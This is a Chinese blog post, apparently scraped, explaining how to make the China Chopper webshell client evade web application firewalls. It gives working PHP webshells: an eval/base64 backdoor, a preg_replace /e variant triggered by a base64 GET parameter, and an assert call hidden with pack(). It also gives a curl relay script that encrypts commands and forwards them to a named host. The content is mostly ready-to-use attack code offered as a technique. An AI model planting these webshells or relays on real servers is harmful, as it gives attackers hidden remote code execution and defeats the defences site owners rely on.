zoukankan      html  css  js  c++  java
  • 菜刀php过waf

    关于PHP

    一、waf为啥会拦截菜刀。
    菜刀在连接时,会向server端POST数据,抓包查看:


    会看到他向server端post了 @eval(base64_decode($_POST[z0])); 一般的waf都会拦截eval的。

    二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
    方案一:修改菜刀
    (1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
    于是server端代码为:

    <?php
        if($_POST['c']!='')
    {
        @eval(base64_decode($_POST[z0]));
    } 
    ?>

    客户端用修改后的菜刀连接。
    说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。

    (2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
    server端代码:

    <?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>

    客户端用修改后的菜刀连接:
    http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==

    说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。

    方案二:中转
    client->自己服务器/应用(加密)->防火墙->真实地址(解密)
    (3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
    server端代码:

    <?php
     $func=pack("c6",97,115,115,101,114,116);
     $_POST['c']=base64_decode( $_POST['c']) ;
     $func($_POST['c']);
    ?>

    中转端代码:

    <?php
    $handle=curl_init();
    $DATA=array();
    $DATA=$_POST;
    $DATA['c']=base64_encode(substr($DATA['c'],1));
    curl_setopt($handle,CURLOPT_URL,'http://www.s2ck.cc/1.php');
    curl_setopt($handle,CURLOPT_HEADER,0);
    curl_setopt($handle,CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($handle,CURLOPT_POST,1);
    curl_setopt($handle,CURLOPT_POSTFIELDS,$DATA);
    $output=curl_exec($handle);
    if($output === FALSE) {
        echo "cURL Error: " . curl_error($handle);
    }
    echo ($output);
    curl_close($handle);
    ?>

    客户端:
    用原版菜刀连接。

    说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf

  • 相关阅读:
    Asp.MVC 各个版本比较(资源整合)与WebForm的区别
    20款最新且极具创意的jQuery插件(附下载)
    php java net 开发比较
    移动互联网渠道乱象
    基于微软IIS/.NET平台开发的知名网站 (补充)
    sqlsql语句查询优化总结,建议及写法技巧(汇总)
    总结关于对日外包的一些想法
    .net跨平台解决方案mono真正实现C#代码一次编写处处运行(微软已经正式支持夸平台框架aspnet core)
    .NET 常用经典学习资源网站推荐
    常用visual studio 插件工具
  • 原文地址:https://www.cnblogs.com/waw/p/5587455.html
Copyright © 2011-2022 走看看